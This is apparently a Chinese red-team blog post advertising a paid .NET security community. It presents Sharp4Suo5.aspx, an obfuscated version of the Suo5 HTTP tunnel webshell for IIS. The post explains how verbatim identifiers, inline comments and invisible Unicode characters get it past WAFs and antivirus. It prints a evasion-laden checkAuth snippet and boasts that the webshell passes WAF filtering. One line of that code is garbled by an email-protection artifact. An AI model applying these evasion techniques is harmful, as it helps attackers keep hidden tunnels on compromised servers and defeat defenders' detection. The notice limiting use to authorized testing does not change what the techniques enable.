01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4Suo5.aspx 是Suo5高性能的 HTTP 隧道代理工具在.NET环境下的免杀脚本,主要用于绕过WAF和主机反病毒软件,脚本支持 IIS .NET Framework >= 2.0 的所有版本和 .NET Core。这类工具在渗透测试和红队活动中非常有用,尤其是在需要隐蔽通信的场景中。
03免杀思路
为了提高原生的suo5.aspx 免杀能力,我们可以利用一些.NET免杀技巧,如使用 @ 逐字标识符、内联注释符 /**/、指定托管语言 language=cs 和 Unicode 编码 \u180B 来绕过安全检测。
3.1 逐字标识符
在 .NET 中,@ 标识符用于逐字字符串,使字符串中的特殊字符(如反斜杠和双引号)不需要转义。如下代码所示
string path = @"C:\Users\Example\Documents";
3.2 内联注释符
内联注释符 /**/ 用于将代码片段隐藏在注释中,从而扰乱静态分析工具的解析。例如
int a = 1; /**/ int b = 2
3.3 托管语言cs
在 .NET 页中,可以通过 language=cs 指定 .NET 作为脚本语言。这种方式可以直接在 ASPX 文件中嵌入 .NET 代码,方便灵活地实现各种功能。
<%@ Page Language="cs" %>
3.4 托管语言cs
使用 Unicode 编码 \u180B 可以在不改变代码功能的前提下插入不可见字符,从而扰乱静态分析工具。例如:
byte[] data = BitCo\u180Bnverter.GetBy\u180Btes((Int32)value.Length);
04代码实现
以下是一个使用上述技术的 Sharp4Suo5.aspx 工具代码片段checkAuth 方法,免杀代码如下所示。
<%@ Page Language="cs" %>
private bool checkAuth()
{
string ua = @Request.@Headers.@Get("User-Agent");
if (ua == null || !ua.Equals("Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3"))
{
return false;
}
if (@[email protected]("application/plain"))
{
byte[] readData = Request.@Binar\u180ByRead(32);
Response.@Binar\u180ByWrite(readData);
Response.Flush();
return false;
}
return true;
}
这个方法在代理脚本里用于验证请求的合法性,如果符合条件,读取并返回二进制数据。免杀之后的脚本发给这位师傅,秒过了WAF拦截,效果非常好!
Sharp4Suo5.aspx 工具通过多种.NET免杀技术手段实现了工具的隐蔽性和有效性。关于.NET免杀技术我们之前也介绍过很多,可以看下方推荐阅读版块。
05.NET安全星球
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。